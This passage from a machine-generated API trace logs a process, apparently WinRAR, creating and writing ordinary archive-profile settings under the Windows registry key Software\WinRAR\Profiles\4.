lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.294] RegDeleteValueW (hKey=0x218, lpValueName="FileNames") returned 0x2 [0058.294] RegCloseKey (hKey=0x218) returned 0x0 [0058.294] GetLastError () returned 0x0 [0058.294] SetLastError (dwErrCode=0x0) [0058.294] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.294] RegSetValueExW (in: hKey=0x218, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.294] RegCloseKey (hKey=0x218) returned 0x0 [0058.294] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a67b0 [0058.294] GetLastError () returned 0x0 [0058.294] SetLastError (dwErrCode=0x0) [0058.294] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.294] RegSetValueExW (in: hKey=0x218, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.294] RegCloseKey (hKey=0x218) returned 0x0 [0058.294] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a67b0 | out: hHeap=0x1ec0a590000) returned 1 [0058.294] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a67b0 [0058.294] GetLastError () returned 0x0 [0058.294] SetLastError (dwErrCode=0x0) [0058.294] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.294] RegSetValueExW (in: hKey=0x218, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.294] RegCloseKey (hKey=0x218) returned 0x0 [0058.294] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a67b0 | out: hHeap=0x1ec0a590000) returned 1 [0058.294] GetLastError () returned 0x0 [0058.294] SetLastError (dwErrCode=0x0) [0058.294] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.294] RegSetValueExW (in: hKey=0x218, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.294] RegCloseKey (hKey=0x218) returned 0x0 [0058.295] GetLastError () returned 0x0 [0058.295] SetLastError (dwErrCode=0x0) [0058.295] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.295] RegSetValueExW (in: hKey=0x218, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.295] RegCloseKey (hKey=0x218) returned 0x0 [0058.295] GetLastError () returned 0x0 [0058.295] SetLastError (dwErrCode=0x0) [0058.295] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.295] RegSetValueExW (in: hKey=0x218, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.295] RegCloseKey (hKey=0x218) returned 0x0 [0058.295] GetLastError () returned 0x0 [0058.295] SetLastError (dwErrCode=0x0) [0058.295] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.295] RegDeleteValueW (hKey=0x218, lpValueName="SFX") returned 0x2 [0058.295] RegCloseKey (hKey=0x218) returned 0x0 [0058.295] GetLastError () returned 0x0 [0058.295] SetLastError (dwErrCode=0x0) [0058.295] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.295] RegSetValueExW (in: hKey=0x218, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.295] RegCloseKey (hKey=0x218) returned 0x0 [0058.295] GetLastError () returned 0x0 [0058.295] SetLastError (dwErrCode=0x0) [0058.295] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.295] RegSetValueExW (in: hKey=0x218, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.295] RegCloseKey (hKey=0x218) returned 0x0 [0058.296] GetLastError () returned 0x0 [0058.296] SetLastError (dwErrCode=0x0) [0058.296] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.296] RegSetValueExW (in: hKey=0x218, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.296] RegCloseKey (hKey=0x218) returned 0x0 [0058.296] GetLastError () returned 0x0 [0058.296] SetLastError (dwErrCode=0x0) [0058.296] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.296] RegSetValueExW (in: hKey=0x218, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.296] RegCloseKey (hKey=0x218) returned 0x0 [0058.296] GetLastError () returned 0x0 [0058.296] SetLastError (dwErrCode=0x0) [0058.296] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.296] RegSetValueExW (in: hKey=0x218, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x2 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.296] RegCloseKey (hKey=0x218) returned 0x0 [0058.296] GetLastError () returned 0x0 [0058.296] SetLastError (dwErrCode=0x0) [0058.296] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.296] RegSetValueExW (in: hKey=0x218, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0058.296] RegCloseKey (hKey=0x218) returned 0x0 [0058.296] GetLastError () returned 0x0 [0058.296] SetLastError (dwErrCode=0x0) [0058.296] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.296] RegSetValueExW (in: hKey=0x218, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2, cbData=0x4 | out: lpData=0xe414fb268*=0x2) returned 0x0 [0058.297] RegCloseKey (hKey=0x218) returned 0x0 [0058.297] GetLastError () returned 0x0 [0058.297] SetLastError (dwErrCode=0x0) [0058.297] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.297] RegSetValueExW (in: hKey=0x218, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.297] RegCloseKey (hKey=0x218) returned 0x0 [0058.297] GetLastError () returned 0x0 [0058.297] SetLastError (dwErrCode=0x0) [0058.297] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.297] RegSetValueExW (in: hKey=0x218, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.297] RegCloseKey (hKey=0x218) returned 0x0 [0058.297] GetLastError () returned 0x0 [0058.297] SetLastError (dwErrCode=0x0) [0058.297] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.297] RegSetValueExW (in: hKey=0x218, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.297] RegCloseKey (hKey=0x218) returned 0x0 [0058.297] GetLastError () returned 0x0 [0058.297] SetLastError (dwErrCode=0x0) [0058.297] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.297] RegSetValueExW (in: hKey=0x218, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.297] RegCloseKey (hKey=0x218) returned 0x0 [0058.297] GetLastError () returned 0x0 [0058.297] SetLastError (dwErrCode=0x0) [0058.297] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.297] RegSetValueExW (in: hKey=0x218, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.298] RegCloseKey (hKey=0x218) returned 0x0 [0058.298] GetLastError () returned 0x0 [0058.298] SetLastError (dwErrCode=0x0) [0058.298] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.298] RegSetValueExW (in: hKey=0x218, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.298] RegCloseKey (hKey=0x218) returned 0x0 [0058.298] GetLastError () returned 0x0 [0058.298] SetLastError (dwErrCode=0x0) [0058.298] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.298] RegSetValueExW (in: hKey=0x218, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.298] RegCloseKey (hKey=0x218) returned 0x0 [0058.298] GetLastError () returned 0x0 [0058.298] SetLastError (dwErrCode=0x0) [0058.298] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.298] RegSetValueExW (in: hKey=0x218, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.298] RegCloseKey (hKey=0x218) returned 0x0 [0058.298] GetLastError () returned 0x0 [0058.298] SetLastError (dwErrCode=0x0) [0058.298] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.298] RegSetValueExW (in: hKey=0x218, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.298] RegCloseKey (hKey=0x218) returned 0x0 [0058.299] GetLastError () returned 0x0 [0058.299] SetLastError (dwErrCode=0x0) [0058.299] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.299] RegSetValueExW (in: hKey=0x218, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.299] RegCloseKey (hKey=0x218) returned 0x0 [0058.299] GetLastError () returned 0x0 [0058.299] SetLastError (dwErrCode=0x0) [0058.299] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.299] RegSetValueExW (in: hKey=0x218, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.299] RegCloseKey (hKey=0x218) returned 0x0 [0058.299] GetLastError () returned 0x0 [0058.299] SetLastError (dwErrCode=0x0) [0058.299] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.299] RegSetValueExW (in: hKey=0x218, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.299] RegCloseKey (hKey=0x218) returned 0x0 [0058.299] GetLastError () returned 0x0 [0058.299] SetLastError (dwErrCode=0x0) [0058.299] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.299] RegSetValueExW (in: hKey=0x218, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.299] RegCloseKey (hKey=0x218) returned 0x0 [0058.299] GetLastError () returned 0x0 [0058.299] SetLastError (dwErrCode=0x0) [0058.299] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.299] RegSetValueExW (in: hKey=0x218, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.300] RegCloseKey (hKey=0x218) returned 0x0 [0058.300] GetLastError () returned 0x0 [0058.300] SetLastError (dwErrCode=0x0) [0058.300] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.300] RegSetValueExW (in: hKey=0x218, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0xfffffffd, cbData=0x4 | out: lpData=0xe414fb268*=0xfffffffd) returned 0x0 [0058.300] RegCloseKey (hKey=0x218) returned 0x0 [0058.300] GetLastError () returned 0x0 [0058.300] SetLastError (dwErrCode=0x0) [0058.300] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.300] RegSetValueExW (in: hKey=0x218, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.300] RegCloseKey (hKey=0x218) returned 0x0 [0058.300] GetLastError () returned 0x0 [0058.300] SetLastError (dwErrCode=0x0) [0058.300] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.300] RegSetValueExW (in: hKey=0x218, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.301] RegCloseKey (hKey=0x218) returned 0x0 [0058.301] GetLastError () returned 0x0 [0058.301] SetLastError (dwErrCode=0x0) [0058.301] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.301] RegSetValueExW (in: hKey=0x218, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.301] RegCloseKey (hKey=0x218) returned 0x0 [0058.301] GetLastError () returned 0x0 [0058.301] SetLastError (dwErrCode=0x0) [0058.301] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.301] RegSetValueExW (in: hKey=0x218, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.301] RegCloseKey (hKey=0x218) returned 0x0 [0058.301] GetLastError () returned 0x0 [0058.301] SetLastError (dwErrCode=0x0) [0058.301] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.301] RegSetValueExW (in: hKey=0x218, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x3, cbData=0x4 | out: lpData=0xe414fb268*=0x3) returned 0x0 [0058.301] RegCloseKey (hKey=0x218) returned 0x0 [0058.301] GetLastError () returned 0x0 [0058.301] SetLastError (dwErrCode=0x0) [0058.301] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.301] RegSetValueExW (in: hKey=0x218, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.301] RegCloseKey (hKey=0x218) returned 0x0 [0058.301] GetLastError () returned 0x0 [0058.301] SetLastError (dwErrCode=0x0) [0058.301] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.302] RegSetValueExW (in: hKey=0x218, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.302] RegCloseKey (hKey=0x218) returned 0x0 [0058.302] GetLastError () returned 0x0 [0058.302] SetLastError (dwErrCode=0x0) [0058.302] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.302] RegSetValueExW (in: hKey=0x218, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.302] RegCloseKey (hKey=0x218) returned 0x0 [0058.302] GetLastError () returned 0x0 [0058.302] SetLastError (dwErrCode=0x0) [0058.302] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414f99c8, lpdwDisposition=0xe414f99c0 | out: phkResult=0xe414f99c8*=0x218, lpdwDisposition=0xe414f99c0*=0x2) returned 0x0 [0058.302] RegSetValueExW (in: hKey=0x218, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x1 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.302] RegCloseKey (hKey=0x218) returned 0x0 [0058.302] GetLastError () returned 0x0 [0058.302] SetLastError (dwErrCode=0x0) [0058.302] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.302] RegSetValueExW (in: hKey=0x218, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.302] RegCloseKey (hKey=0x218) returned 0x0 [0058.302] GetLastError () returned 0x0 [0058.302] SetLastError (dwErrCode=0x0) [0058.302] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, 